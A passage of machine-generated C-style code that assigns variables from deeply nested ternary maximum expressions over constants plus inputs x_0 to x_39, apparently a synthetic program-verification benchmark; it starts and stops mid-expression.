x_9))? (4.0 + x_6) : ((1.0 + x_7) > (18.0 + x_9)? (1.0 + x_7) : (18.0 + x_9)))? ((12.0 + x_0) > (20.0 + x_3)? (12.0 + x_0) : (20.0 + x_3)) : ((4.0 + x_6) > ((1.0 + x_7) > (18.0 + x_9)? (1.0 + x_7) : (18.0 + x_9))? (4.0 + x_6) : ((1.0 + x_7) > (18.0 + x_9)? (1.0 + x_7) : (18.0 + x_9)))) > (((11.0 + x_13) > (5.0 + x_16)? (11.0 + x_13) : (5.0 + x_16)) > ((6.0 + x_17) > ((19.0 + x_20) > (9.0 + x_21)? (19.0 + x_20) : (9.0 + x_21))? (6.0 + x_17) : ((19.0 + x_20) > (9.0 + x_21)? (19.0 + x_20) : (9.0 + x_21)))? ((11.0 + x_13) > (5.0 + x_16)? (11.0 + x_13) : (5.0 + x_16)) : ((6.0 + x_17) > ((19.0 + x_20) > (9.0 + x_21)? (19.0 + x_20) : (9.0 + x_21))? (6.0 + x_17) : ((19.0 + x_20) > (9.0 + x_21)? (19.0 + x_20) : (9.0 + x_21))))? (((12.0 + x_0) > (20.0 + x_3)? (12.0 + x_0) : (20.0 + x_3)) > ((4.0 + x_6) > ((1.0 + x_7) > (18.0 + x_9)? (1.0 + x_7) : (18.0 + x_9))? (4.0 + x_6) : ((1.0 + x_7) > (18.0 + x_9)? (1.0 + x_7) : (18.0 + x_9)))? ((12.0 + x_0) > (20.0 + x_3)? (12.0 + x_0) : (20.0 + x_3)) : ((4.0 + x_6) > ((1.0 + x_7) > (18.0 + x_9)? (1.0 + x_7) : (18.0 + x_9))? (4.0 + x_6) : ((1.0 + x_7) > (18.0 + x_9)? (1.0 + x_7) : (18.0 + x_9)))) : (((11.0 + x_13) > (5.0 + x_16)? (11.0 + x_13) : (5.0 + x_16)) > ((6.0 + x_17) > ((19.0 + x_20) > (9.0 + x_21)? (19.0 + x_20) : (9.0 + x_21))? (6.0 + x_17) : ((19.0 + x_20) > (9.0 + x_21)? (19.0 + x_20) : (9.0 + x_21)))? ((11.0 + x_13) > (5.0 + x_16)? (11.0 + x_13) : (5.0 + x_16)) : ((6.0 + x_17) > ((19.0 + x_20) > (9.0 + x_21)? (19.0 + x_20) : (9.0 + x_21))? (6.0 + x_17) : ((19.0 + x_20) > (9.0 + x_21)? (19.0 + x_20) : (9.0 + x_21))))) : ((((9.0 + x_23) > (18.0 + x_26)? (9.0 + x_23) : (18.0 + x_26)) > ((11.0 + x_28) > ((12.0 + x_30) > (12.0 + x_31)? (12.0 + x_30) : (12.0 + x_31))? (11.0 + x_28) : ((12.0 + x_30) > (12.0 + x_31)? (12.0 + x_30) : (12.0 + x_31)))? ((9.0 + x_23) > (18.0 + x_26)? (9.0 + x_23) : (18.0 + x_26)) : ((11.0 + x_28) > ((12.0 + x_30) > (12.0 + x_31)? (12.0 + x_30) : (12.0 + x_31))? (11.0 + x_28) : ((12.0 + x_30) > (12.0 + x_31)? (12.0 + x_30) : (12.0 + x_31)))) > (((6.0 + x_32) > (3.0 + x_34)? (6.0 + x_32) : (3.0 + x_34)) > ((7.0 + x_36) > ((18.0 + x_38) > (10.0 + x_39)? (18.0 + x_38) : (10.0 + x_39))? (7.0 + x_36) : ((18.0 + x_38) > (10.0 + x_39)? (18.0 + x_38) : (10.0 + x_39)))? ((6.0 + x_32) > (3.0 + x_34)? (6.0 + x_32) : (3.0 + x_34)) : ((7.0 + x_36) > ((18.0 + x_38) > (10.0 + x_39)? (18.0 + x_38) : (10.0 + x_39))? (7.0 + x_36) : ((18.0 + x_38) > (10.0 + x_39)? (18.0 + x_38) : (10.0 + x_39))))? (((9.0 + x_23) > (18.0 + x_26)? (9.0 + x_23) : (18.0 + x_26)) > ((11.0 + x_28) > ((12.0 + x_30) > (12.0 + x_31)? (12.0 + x_30) : (12.0 + x_31))? (11.0 + x_28) : ((12.0 + x_30) > (12.0 + x_31)? (12.0 + x_30) : (12.0 + x_31)))? ((9.0 + x_23) > (18.0 + x_26)? (9.0 + x_23) : (18.0 + x_26)) : ((11.0 + x_28) > ((12.0 + x_30) > (12.0 + x_31)? (12.0 + x_30) : (12.0 + x_31))? (11.0 + x_28) : ((12.0 + x_30) > (12.0 + x_31)? (12.0 + x_30) : (12.0 + x_31)))) : (((6.0 + x_32) > (3.0 + x_34)? (6.0 + x_32) : (3.0 + x_34)) > ((7.0 + x_36) > ((18.0 + x_38) > (10.0 + x_39)? (18.0 + x_38) : (10.0 + x_39))? (7.0 + x_36) : ((18.0 + x_38) > (10.0 + x_39)? (18.0 + x_38) : (10.0 + x_39)))? ((6.0 + x_32) > (3.0 + x_34)? (6.0 + x_32) : (3.0 + x_34)) : ((7.0 + x_36) > ((18.0 + x_38) > (10.0 + x_39)? (18.0 + x_38) : (10.0 + x_39))? (7.0 + x_36) : ((18.0 + x_38) > (10.0 + x_39)? (18.0 + x_38) : (10.0 + x_39)))))); x_4_ = (((((11.0 + x_2) > (11.0 + x_6)? (11.0 + x_2) : (11.0 + x_6)) > ((12.0 + x_7) > ((16.0 + x_9) > (2.0 + x_12)? (16.0 + x_9) : (2.0 + x_12))? (12.0 + x_7) : ((16.0 + x_9) > (2.0 + x_12)? (16.0 + x_9) : (2.0 + x_12)))? ((11.0 + x_2) > (11.0 + x_6)? (11.0 + x_2) : (11.0 + x_6)) : ((12.0 + x_7) > ((16.0 + x_9) > (2.0 + x_12)? (16.0 + x_9) : (2.0 + x_12))? (12.0 + x_7) : ((16.0 + x_9) > (2.0 + x_12)? (16.0 + x_9) : (2.0 + x_12)))) > (((8.0 + x_13) > (4.0 + x_14)? (8.0 + x_13) : (4.0 + x_14)) > ((19.0 + x_15) > ((17.0 + x_16) > (6.0 + x_18)? (17.0 + x_16) : (6.0 + x_18))? (19.0 + x_15) : ((17.0 + x_16) > (6.0 + x_18)? (17.0 + x_16) : (6.0 + x_18)))? ((8.0 + x_13) > (4.0 + x_14)? (8.0 + x_13) : (4.0 + x_14)) : ((19.0 + x_15) > ((17.0 + x_16) > (6.0 + x_18)? (17.0 + x_16) : (6.0 + x_18))? (19.0 + x_15) : ((17.0 + x_16) > (6.0 + x_18)? (17.0 + x_16) : (6.0 + x_18))))? (((11.0 + x_2) > (11.0 + x_6)? (11.0 + x_2) : (11.0 + x_6)) > ((12.0 + x_7) > ((16.0 + x_9) > (2.0 + x_12)? (16.0 + x_9) : (2.0 + x_12))? (12.0 + x_7) : ((16.0 + x_9) > (2.0 + x_12)? (16.0 + x_9) : (2.0 + x_12)))? ((11.0 + x_2) > (11.0 + x_6)? (11.0 + x_2) : (11.0 + x_6)) : ((12.0 + x_7) > ((16.0 + x_9) > (2.0 + x_12)? (16.0 + x_9) : (2.0 + x_12))? (12.0 + x_7) : ((16.0 + x_9) > (2.0 + x_12)? (16.0 + x_9) : (2.0 + x_12)))) : (((8.0 + x_13) > (4.0 + x_14)? (8.0 + x_13) : (4.0 + x_14)) > ((19.0 + x_15) > ((17.0 + x_16) > (6.0 + x_18)? (17.0 + x_16) : (6.0 + x_18))? (19.0 + x_15) : ((17.0 + x_16) > (6.0 + x_18)? (17.0 + x_16) : (6.0 + x_18)))? ((8.0 + x_13) > (4.0 + x_14)? (8.0 + x_13) : (4.0 + x_14)) : ((19.0 + x_15) > ((17.0 + x_16) > (6.0 + x_18)? (17.0 + x_16) : (6.0 + x_18))? (19.0 + x_15) : ((17.0 + x_16) > (6.0 + x_18)? (17.0 + x_16) : (6.0 + x_18))))) > ((((13.0 + x_20) > (10.0 + x_22)? (13.0 + x_20) : (10.0 + x_22)) > ((17.0 + x_30) > ((19.0 + x_32) > (18.0 + x_34)? (19.0 + x_32) : (18.0 + x_34))? (17.0 + x_30) : ((19.0 + x_32) > (18.0 + x_34)? (19.0 + x_32) : (18.0 + x_34)))? ((13.0 + x_20) > (10.0 + x_22)? (13.0 + x_20) : (10.0 + x_22)) : ((17.0 + x_30) > ((19.0 + x_32) > (18.0 + x_34)? (19.0 + x_32) : (18.0 + x_34))? (17.0 + x_30) : ((19.0 + x_32) > (18.0 + x_34)? (19.0 + x_32) : (18.0 + x_34)))) > (((17.0 + x_35) > (5.0 + x_36)? (17.0 + x_35) : (5.0 + x_36)) > ((17.0 + x_37) > ((3.0 + x_38) > (16.0 + x_39)? (3.0 + x_38) : (16.0 + x_39))? (17.0 + x_37) : ((3.0 + x_38) > (16.0 + x_39)? (3.0 + x_38) : (16.0 + x_39)))? ((17.0 + x_35) > (5.0 + x_36)? (17.0 + x_35) : (5.0 + x_36)) : ((17.0 + x_37) > ((3.0 + x_38) > (16.0 + x_39)? (3.0 + x_38) : (16.0 + x_39))? (17.0 + x_37) : ((3.0 + x_38) > (16.0 + x_39)? (3.0 + x_38) : (16.0 + x_39))))? (((13.0 + x_20) > (10.0 + x_22)? (13.0 + x_20) : (10.0 + x_22)) > ((17.0 + x_30) > ((19.0 + x_32) > (18.0 + x_34)? (19.0 + x_32) : (18.0 + x_34))? (17.0 + x_30) : ((19.0 + x_32) > (18.0 + x_34)? (19.0 + x_32) : (18.0 + x_34)))? ((13.0 + x_20) > (10.0 + x_22)? (13.0 + x_20) : (10.0 + x_22)) : ((17.0 + x_30) > ((19.0 + x_32) > (18.0 + x_34)? (19.0 + x_32) : (18.0 + x_34))? (17.0 + x_30) : ((19.0 + x_32) > (18.0 + x_34)? (19.0 + x_32) : (18.0 + x_34)))) : (((17.0 + x_35) > (5.0 + x_36)? (17.0 + x_35) : (5.0 + x_36)) > ((17.0 + x_37) > ((3.0 + x_38) > (16.0 + x_39)? (3.0 + x_38) : (16.0 + x_39))? (17.0 + x_37) : ((3.0 + x_38) > (16.0 + x_39)? (3.0 + x_38) : (16.0 + x_39)))? ((17.0 + x_35) > (5.0 + x_36)? (17.0 + x_35) : (5.0 + x_36)) : ((17.0 + x_37) > ((3.0 + x_38) > (16.0 + x_39)? (3.0 + x_38) : (16.0 + x_39))? (17.0 + x_37) : ((3.0 + x_38) > (16.0 + x_39)? (3.0 + x_38) : (16.0 + x_39)))))? ((((11.0 + x_2) > (11.0 + x_6)? (11.0 + x_2) : (11.0 + x_6)) > ((12.0 + x_7) > ((16.0 + x_9) > (2.0 + x_12)? (16.0 + x_9) : (2.0 + x_12))? (12.0 + x_7) : ((16.0 + x_9) > (2.0 + x_12)? (16.0 + x_9) : (2.0 + x_12)))? ((11.0 + x_2) > (11.0 + x_6)? (11.0 + x_2) : (11.0 + x_6)) : ((12.0 + x_7) > ((16.0 + x_9) > (2.0 + x_12)? (16.0 + x_9) : (2.0 + x_12))? (12.0 + x_7) : ((16.0 + x_9) > (2.0 + x_12)? (16.0 + x_9) : (2.0 + x_12)))) > (((8.0 + x_13) > (4.0 + x_14)? (8.0 + x_13) : (4.0 + x_14)) > ((19.0 + x_15) > ((17.0 + x_16) > (6.0 + x_18)? (17.0 + x_16) : (6.0 + x_18))? (19.0 + x_15) : ((17.0 + x_16) > (6.0 + x_18)? (17.0 + x_16) : (6.0 + x_18)))? ((8.0 + x_13) > (4.0 + x_14)? (8.0 + x_13) : (4.0 + x_14)) : ((19.0 + x_15) > ((17.0 + x_16) > (6.0 + x_18)? (17.0 + x_16) : (6.0 + x_18))? (19.0 + x_15) : ((17.0 + x_16) > (6.0 + x_18)? (17.0 + x_16) : (6.0 + x_18))))? (((11.0 + x_2) > (11.0 + x_6)? (11.0 + x_2) : (11.0 + x_6)) > ((12.0 + x_7) > ((16.0 + x_9) > (2.0 + x_12)? (16.0 + x_9) : (2.0 + x_12))? (12.0 + x_7) : ((16.0 + x_9) > (2.0 + x_12)? (16.0 + x_9) : (2.0 + x_12)))? ((11.0 + x_2) > (11.0 + x_6)? (11.0 + x_2) : (11.0 + x_6)) : ((12.0 + x_7) > ((16.0 + x_9) > (2.0 + x_12)? (16.0 + x_9) : (2.0 + x_12))? (12.0 + x_7) : ((16.0 + x_9) > (2.0 + x_12)? (16.0 + x_9) : (2.0 + x_12)))) : (((8.0 + x_13) > (4.0 + x_14)? (8.0 + x_13) : (4.0 + x_14)) > ((19.0 + x_15) > ((17.0 + x_16) > (6.0 + x_18)? (17.0 + x_16) : (6.0 + x_18))? (19.0 + x_15) : ((17.0 + x_16) > (6.0 + x_18)? (17.0 + x_16) : (6.0 + x_18)))? ((8.0 + x_13) > (4.0 + x_14)? (8.0 + x_13) : (4.0 + x_14)) : ((19.0 + x_15) > ((17.0 + x_16) > (6.0 + x_18)? (17.0 + x_16) : (6.0 + x_18))? (19.0 + x_15) : ((17.0 + x_16) > (6.0 + x_18)? (17.0 + x_16) : (6.0 + x_18))))) : ((((13.0 + x_20) > (10.0 + x_22)? (13.0 + x_20) : (10.0 + x_22)) > ((17.0 + x_30) > ((19.0 + x_32) > (18.0 + x_34)? (19.0 + x_32) : (18.0 + x_34))? (17.0 + x_30) : ((19.0 + x_32) > (18.0 + x_34)? (19.0 + x_32) : (18.0 + x_34)))? ((13.0 + x_20) > (10.0 + x_22)? (13.0 + x_20) : (10.0 + x_22)) : ((17.0 + x_30) > ((19.0 + x_32) > (18.0 + x_34)? (19.0 + x_32) : (18.0 + x_34))? (17.0 + x_30) : ((19.0 + x_32) > (18.0 + x_34)? (19.0 + x_32) : (18.0 + x_34)))) > (((17.0 + x_35) > (5.0 + x_36)? (17.0 + x_35) : (5.0 + x_36)) > ((17.0 + x_37) > ((3.0 + x_38) > (16.0 + x_39)? (3.0 + x_38) : (16.0 + x_39))? (17.0 + x_37) : ((3.0 + x_38) > (16.0 + x_39)? (3.0 + x_38) : (16.0 + x_39)))? ((17.0 + x_35) > (5.0 + x_36)? (17.0 + x_35) : (5.0 + x_36)) : ((17.0 + x_37) > ((3.0 + x_38) > (16.0 + x_39)? (3.0 + x_38) : (16.0 + x_39))? (17.0 + x_37) : ((3.0 + x_38) > (16.0 + x_39)? (3.0 + x_38) : (16.0 + x_39))))? (((13.0 + x_20) > (10.0 + x_22)? (13.0 + x_20) : (10.0 + x_22)) > ((17.0 + x_30) > ((19.0 + x_32) > (18.0 + x_34)? (19.0 + x_32) : (18.0 + x_34))? (17.0 + x_30) : ((19.0 + x_32) > (18.0 + x_34)? (19.0 + x_32) : (18.0 + x_34)))? ((13.0 + x_20) > (10.0 + x_22)? (13.0 + x_20) : (10.0 + x_22)) : ((17.0 + x_30) > ((19.0 + x_32) > (18.0 + x_34)? (19.0 + x_32) : (18.0 + x_34))? (17.0 + x_30) : ((19.0 + x_32) > (18.0 + x_34)? (19.0 + x_32) : (18.0 + x_34)))) : (((17.0 + x_35) > (5.0 + x_36)? (17.0 + x_35) : (5.0 + x_36)) > ((17.0 + x_37) > ((3.0 + x_38) > (16.0 + x_39)? (3.0 + x_38) : (16.0 + x_39))? (17.0 + x_37) : ((3.0 + x_38) > (16.0 + x_39)? (3.0 + x_38) : (16.0 + x_39)))? ((17.0 + x_35) > (5.0 + x_36)? (17.0 + x_35) : (5.0 + x_36)) : ((17.0 + x_37) > ((3.0 + x_38) > (16.0 + x_39)? (3.0 + x_38) : (16.0 + x_39))? (17.0 + x_37) : ((3.0 + x_38) > (16.0 + x_39)? (3.0 + x_38) : (16.0 + x_39)))))); x_5_ = (((((4.0 + x_0) > (16.0 + x_2)? (4.0 + x_0) : (16.0 + x_2)) > ((19.0 + x_5) > ((14.0 + x_6) > (1.0 + x_8)? (14.0 + x_6) : (1.0 + x_8))? (19.0 + x_5) : ((14.0 + x_6) > (1.0 + x_8)? (14.0 + x_6) : (1.0 + x_8)))? ((4.0 + x_0) > (16.0 + x_2)? (4.0 + x_0) : (16.0 + x_2)) : ((19.0 + x_5) > ((14.0 + x_6) > (1.0 + x_8)? (14.0 + x_6) : (1.0 + x_8))? (19.0 + x_5) : ((14.0 + x_6) > (1.0 + x_8)? (14.0 + x_6) : (1.0 + x_8)))) > (((11.0 + x_11) > (19.0 + x_13)? (11.0 + x_11) : (19.0 + x_13)) > ((6.0 + x_14) > ((5.0 + x_17) > (19.0 + x_18)? (5.0 + x_17) : (19.0 + x_18))? (6.0 + x_14) : ((5.0 + x_17) > (19.0 + x_18)? (5.0 + x_17) : (19.0 + x_18)))? ((11.0 + x_11) > (19.0 + x_13)? (11.0 + x_11) : (19.0 + x_13)) : ((6.0 + x_14) > ((5.0 + x_17) > (19.0 + x_18)? (5.0 + x_17) : (19.0 + x_18))? (6.0 + x_14) : ((5.0 + x_17) > (19.0 + x_18)? (5.0 + x_17) : (19.0 + x_18))))? (((4.0 + x_0) > (16.0 + x_2)? (4.0 + x_0) : (16.0 + x_2)) > ((19.0 + x_5) > ((14.0 + x_6) > (1.0 + x_8)? (14.0 + x_6) : (1.0 + x_8))? (19.0 + x_5) : ((14.0 + x_6) > (1.0 + x_8)? (14.0 + x_6) : (1.0 + x_8)))? ((4.0 + x_0) > (16.0 + x_2)? (4.0 + x_0) : (16.0 + x_2)) : ((19.0 + x_5) > ((14.0 + x_6) > (1.0 + x_8)? (14.0 + x_6) : (1.0 + x_8))? (19.0 + x_5) : ((14.0 + x_6) > (1.0 + x_8)? (14.0 + x_6) : (1.0 + x_8)))) : (((11.0 + x_11) > (19.0 + x_13)? (11.0 + x_11) : (19.0 + x_13)) > ((6.0 + x_14) > ((5.0 + x_17) > (19.0 + x_18)? (5.0 + x_17) : (19.0 + x_18))? (6.0 + x_14) : ((5.0 + x_17) > (19.0 + x_18)? (5.0 + x_17) : (19.0 + x_18)))? ((11.0 + x_11) > (19.0 + x_13)? (11.0 + x_11) : (19.0 + x_13)) : ((6.0 + x_14) > ((5.0 + x_17) > (19.0 + x_18)? (5.0 + x_17) : (19.0 + x_18))? (6.0 + x_14) : ((5.0 + x_17) > (19.0 + x_18)? (5.0 + x_17) : (19.0 + x_18))))) > ((((14.0 + x_20) > (13.0 + x_22)? (14.0 + x_20) : (13.0 + x_22)) > ((1.0 + x_25) > ((16.0 + x_26) > (7.0 + x_27)? (16.0 + x_26) : (7.0 + x_27))? (1.0 + x_25) : ((16.0 + x_26) > (7.0 + x_27)? (16.0 + x_26) : (7.0 + x_27)))? ((14.0 + x_20) > (13.0 + x_22)? (14.0 + x_20) : (13.0 + x_22)) : ((1.0 + x_25) > ((16.0 + x_26) > (7.0 + x_27)? (16.0 + x_26) : (7.0 + x_27))? (1.0 + x_25) : ((16.0 + x_26) > (7.0 + x_27)? (16.0 + x_26) : (7.0 + x_27)))) > (((12.0 + x_28) > (5.0 + x_31)? (12.0 + x_28) : (5.0 + x_31)) > ((1.0 + x_32) > ((1.0 + x_37) > (10.0 + x_38)? (1.0 + x_37) : (10.0 + x_38))? (1.0 + x_32) : ((1.0 + x_37) > (10.0 + x_38)? (1.0 + x_37) : (10.0 + x_38)))? ((12.0 + x_28) > (5.0 + x_31)? (12.0 + x_28) : (5.0 + x_31)) : ((1.0 + x_32) > ((1.0 + x_37) > (10.0 + x_38)? (1.0 + x_37) : (10.0 + x_38))? (1.0 + x_32) : ((1.0 + x_37) > (10.0 + x_38)? (1.0 + x_37) : (10.0 + x_38))))? (((14.0 + x_20) > (13.0 + x_22)? (14.0 + x_20) : (13.0 + x_22)) > ((1.0 + x_25) > ((16.0 + x_26) > (7.0 + x_27)? (16.0 + x_26) : (7.0 + x_27))? (1.0 + x_25) : ((16.0 + x_26) > (7.0 + x_27)? (16.0 + x_26) : (7.0 + x_27)))? ((14.0 + x_20) > (13.0 + x_22)? (14.0 + x_20) : (13.0 + x_22)) : ((1.0 + x_25) > ((16.0 + x_26) > (7.0 + x_27)? (16.0 + x_26) : (7.0 + x_27))? (1.0 + x_25) : ((16.0 + x_26) > (7.0 + x_27)? (16.0 + x_26) : (7.0 + x_27)))) : (((12.0 + x_28) > (5.0 + x_31)? (12.0 + x_28) : (5.0 + x_31)) > ((1.0 + x_32) > ((1.0 + x_37) > (10.0 + x_38)? (1.0 + x_37) : (10.0 + x_38))? (1.0 + x_32) : ((1.0 + x_37) > (10.0 + x_38)? (1.0 + x_37) : (10.0 + x_38)))? ((12.0 + x_28) > (5.0 + x_31)? (12.0 + x_28) : (5.0 + x_31)) : ((1.0 + x_32) > ((1.0 + x_37) > (10.0 + x_38)? (1.0 + x_37) : (10.0 + x_38))? (1.0 + x_32) : ((1.0 + x_37) > (10.0 + x_38)? (1.0 + x_37) : (10.0 + x_38)))))? ((((4.0 + x_0) > (16.0 + x_2)? (4.0 + x_0) : (16.0 + x_2)) > ((19.0 + x_5) > ((14.0 + x_6) > (1.0 + x_8)? (14.0 + x_6) : (1.0 + x_8))? (19.0 + x_5) : ((14.0 + x_6) > (1.0 + x_8)? (14.0 + x_6) : (1.0 + x_8)))? ((4.0 + x_0) > (16.0 + x_2)? (4.0 + x_0) : (16.0 + x_2)) : ((19.0 + x_5) > ((14.0 + x_6) > (1.0 + x_8)? (14.0 + x_6) : (1.0 + x_8))? (19.0 + x_5) : ((14.0 + x_6) > (1.0 + x_8)? (14.0 + x_6) : (1.0 + x_8)))) > (((11.0 + x_11) > (19.0 + x_13)? (11.0 + x_11) : (19.0 + x_13)) > ((6.0 + x_14) > ((5.0 + x_17) > (19.0 + x_18)? (5.0 + x_17) : (19.0 + x_18))? (6.0 + x_14) : ((5.0 + x_17) > (19.0 + x_18)? (5.0 + x_17) : (19.0 + x_18)))? ((11.0 + x_11) > (19.0 + x_13)? (11.0 + x_11) : (19.0 + x_13)) : ((6.0 + x_14) > ((5.0 + x_17) > (19.0 + x_18)? (5.0 + x_17) : (19.0 + x_18))? (6.0 + x_14) : ((5.0 + x_17) > (19.0 + x_18)? (5.0 + x_17) : (19.0 + x_18))))? (((4.0 + x_0) > (16.0 + x_2)? (4.0 + x_0) : (16.0 + x_2)) > ((19.0 + x_5) > ((14.0 + x_6) > (1.0 + x_8)? (14.0 + x_6) : (1.0 + x_8))? (19.0 + x_5) : ((14.0 + x_6) > (1.0 + x_8)? (14.0 + x_6) : (1.0 + x_8)))? ((4.0 + x_0) > (16.0 + x_2)? (4.0 + x_0) : (16.0 + x_2)) : ((19.0 + x_5) > ((14.0 + x_6) > (1.0 + x_8)? (14.0 + x_6) : (1.0 + x_8))? (19.0 + x_5) : ((14.0 + x_6) > (1.0 + x_8)? (14.0 + x_6) : (1.0 + x_8)))) : (((11.0 + x_11) > (19.0 + x_13)? (11.0 + x_11) : (19.0 + x_13)) > ((6.0 + x_14) > ((5.0 + x_17) > (19.0 + x_18)? (5.0 + x_17) : (19.0 + x_18))? (6.0 + x_14) : ((5.0 + x_17) > (19.0 + x_18)? (5.0 + x_17) : (19.0 + x_18)))? ((11.0 + x_11) > (19.0 + x_13)? (11.0 + x_11) : (19.0 + x_13)) : ((6.0 + x_14) > ((5.0 + x_17) > (19.0 + x_18)? (5.0 + x_17) : (19.0 + x_18))? (6.0 + x_14) : ((5.0 + x_17) > (19.0 + x_18)? (5.0 + x_17) : (19.0 + x_18))))) : ((((14.0 + x_20) > (13.0 + x_22)? (14.0 + x_20) : (13.0 + x_22)) > ((1.0 + x_25) > ((16.0 + x_26) > (7.0 + x_27)? (16.0 + x_26) : (7.0 + x_27))? (1.0 + x_25) : ((16.0 + x_26) > (7.0 + x_27)? (16.0 + x_26) : (7.0 + x_27)))? ((14.0 + x_20) > (13.0 + x_22)? (14.0 + x_20) : (13.0 + x_22)) : ((1.0 + x_25) > ((16.0 + x_26) > (7.0 + x_27)? (16.0 + x_26) : (7.0 + x_27))? (1.0 + x_25) : ((16.0 + x_26) > (7.0 + x_27)? (16.0 + x_26) : (7.0 + x_27)))) > (((12.0 + x_28) > (5.0 + x_31)? (12.0 + x_28) : (5.0 + x_31)) > ((1.0 + x_32) > ((1.0 + x_37) > (10.0 + x_38)? (1.0 + x_37) : (10.0 + x_38))? (1.0 + x_32) : ((1.0 + x_37) > (10.0 + x_38)? (1.0 + x_37) : (10.0 + x_38)))? ((12.0 + x_28) > (5.0 + x_31)? (12.0 + x_28) : (5.0 + x_31)) : ((1.0 + x_32) > ((1.0 + x_37) > (10.0 + x_38)? (1.0 + x_37) : (10.0 + x_38))? (1.0 + x_32) : ((1.0 + x_37) > (10.0 + x_38)? (1.0 + x_37) : (10.0 + x_38))))? (((14.0 + x_20) > (13.0 + x_22)? (14.0 + x_20) : (13.0 + x_22)) > ((1.0 + x_25) > ((16.0 + x_26) > (7.0 + x_27)? (16.0 + x_26) : (7.0 + x_27))? (1.0 + x_25) : ((16.0 + x_26) > (7.0 + x_27)? (16.0 + x_26) : (7.0 + x_27)))? ((14.0 + x_20) > (13.0 + x_22)? (14.0 + x_20) : (13.0 + x_22)) : ((1.0 + x_25) > ((16.0 + x_26) > (7.0 + x_27)? (16.0 + x_26) : (7.0 + x_27))? (1.0 + x_25) : ((16.0 + x_26) > (7.0 + x_27)? (16.0 + x_26) : (7.0 + x_27)))) : (((12.0 + x_28) > (5.0 + x_31)? (12.0 + x_28) : (5.0 + x_31)) > ((1.0 + x_32) > ((1.0 + x_37) > (10.0 + x_38)? (1.0 + x_37) : (10.0 + x_38))? (1.0 + x_32) : ((1.0 + x_37) > (10.0 + x_38)? (1.0 + x_37) : (10.0 + x_38)))? ((12.0 + x_28) > (5.0 + x_31)? (12.0 + x_28) : (5.0 + x_31)) : ((1.0 + x_32) > ((1.0 + x_37) > (10.0 + x_38)? (1.0 + x_37) : (10.0 + x_38))? (1.0 + x_32) : ((1.0 + x_37) > (10.0 + x_38)? (1.0 + x_37) : (10.0 + x_38)))))); x_6_ = (((((11.0 + x_0) > (4.0 + x_3)? (11.0 + x_0) : (4.0 + x_3)) > ((9.0 + x_4) > ((8.0 + x_5) > (7.0 + x_6)? (8.0 + x_5) : (7.0 + x_6))? (9.0 + x_4) : ((8.0 + x_5) > (7.0 + x_6)? (8.0 + x_5) : (7.0 + x_6)))? ((11.0 + x_0) > (4.0 + x_3)? (11.0 + x_0) : (4.0 + x_3)) : ((9.0 + x_4) > ((8.0 + x_5) > (7.0 + x_6)? (8.0 + x_5) : (7.0 + x_6))? (9.0 + x_4) : ((8.0 + x_5) > (7.0 + x_6)? (8.0 + x_5) : (7.0 + x_6)))) > (((17.0 + x_7) > (12.0 + x_10)? (17.0 + x_7) : (12.0 + x_10)) > ((2.0 + x_11) > ((8.0 + x_14) > (6.0 + x_15)? (8.0 + x_14) : (6.0 + x_15))? (2.0 + x_11) : ((8.0 + x_14) > (6.0 + x_15)? (8.0 + x_14) : (6.0 + x_15)))? ((17.0 + x_7) > (12.0 + x_10)? (17.0 + x_7) : (12.0 + x_10)) : ((2.0 + x_11) > ((8.0 + x_14) > (6.0 + x_15)? (8.0 + x_14) : (6.0 + x_15))? (2.0 + x_11) : ((8.0 + x_14) > (6.0 + x_15)? (8.0 + x_14) : (6.0 + x_15))))? (((11.0 + x_0) > (4.0 + x_3)? (11.0 + x_0) : (4.0 + x_3)) > ((9.0 + x_4) > ((8.0 + x_5) > (7.0 + x_6)? (8.0 + x_5) : (7.0 + x_6))? (9.0 + x_4) : ((8.0 + x_5) > (7.0 + x_6)? (8.0 + x_5) : (7.0 + x_6)))? ((11.0 + x_0) > (4.0 + x_3)? (11.0 + x_0) : (4.0 + x_3)) : ((9.0 + x_4) > ((8.0 + x_5) > (7.0 + x_6)? (8.0 + x_5) : (7.0 + x_6))? (9.0 + x_4) : ((8.0 + x_5) > (7.0 + x_6)? (8.0 + x_5) : (7.0 + x_6)))) : (((17.0 + x_7) > (12.0 + x_10)? (17.0 + x_7) : (12.0 + x_10)) > ((2.0 + x_11) > ((8.0 + x_14) > (6.0 + x_15)? (8.0 + x_14) : (6.0 + x_15))? (2.0 + x_11) : ((8.0 + x_14) > (6.0 + x_15)? (8.0 + x_14) : (6.0 + x_15)))? ((17.0 + x_7) > (12.0 + x_10)? (17.0 + x_7) : (12.0 + x_10)) : ((2.0 + x_11) > ((8.0 + x_14) > (6.0 + x_15)? (8.0 + x_14) : (6.0 + x_15))? (2.0 + x_11) : ((8.0 + x_14) > (6.0 + x_15)? (8.0 + x_14) : (6.0 + x_15))))) > ((((5.0 + x_17) > (9.0 + x_18)? (5.0 + x_17) : (9.0 + x_18)) > ((5.0 + x_20) > ((9.0 + x_21) > (1.0 + x_24)? (9.0 + x_21) : (1.0 + x_24))? (5.0 + x_20) : ((9.0 + x_21) > (1.0 + x_24)? (9.0 + x_21) : (1.0 + x_24)))? ((5.0 + x_17) > (9.0 + x_18)? (5.0 + x_17) : (9.0 + x_18)) : ((5.0 + x_20) > ((9.0 + x_21) > (1.0 + x_24)? (9.0 + x_21) : (1.0 + x_24))? (5.0 + x_20) : ((9.0 + x_21) > (1.0 + x_24)? (9.0 + x_21) : (1.0 + x_24)))) > (((5.0 + x_28) > (13.0 + x_31)? (5.0 + x_28) : (13.0 + x_31)) > ((17.0 + x_34) > ((3.0 + x_36) > (18.0 + x_38)? (3.0 + x_36) : (18.0 + x_38))? (17.0 + x_34) : ((3.0 + x_36) > (18.0 + x_38)? (3.0 + x_36) : (18.0 + x_38)))? ((5.0 + x_28) > (13.0 + x_31)? (5.0 + x_28) : (13.0 + x_31)) : ((17.0 + x_34) > ((3.0 + x_36) > (18.0 + x_38)? (3.0 + x_36) : (18.0 + x_38))? (17.0 + x_34) : ((3.0 + x_36) > (18.0 + x_38)? (3.0 + x_36) : (18.0 + x_38))))? (((5.0 + x_17) > (9.0 + x_18)? (5.0 + x_17) : (9.0 + x_18)) > ((5.0 + x_20) > ((9.0 + x_21) > (1.0 + x_24)? (9.0 + x_21) : (1.0 + x_24))? (5.0 + x_20) : ((9.0 + x_21) > (1.0 + x_24)? (9.0 + x_21) : (1.0 + x_24)))? ((5.0 + x_17) > (9.0 + x_18)? (5.0 + x_17) : (9.0 + x_18)) : ((5.0 + x_20) > ((9.0 + x_21) > (1.0 + x_24)? (9.0 + x_21) : (1.0 + x_24))? (5.0 + x_20) : ((9.0 + x_21) > (1.0 + x_24)? (9.0 + x_21) : (1.0 + 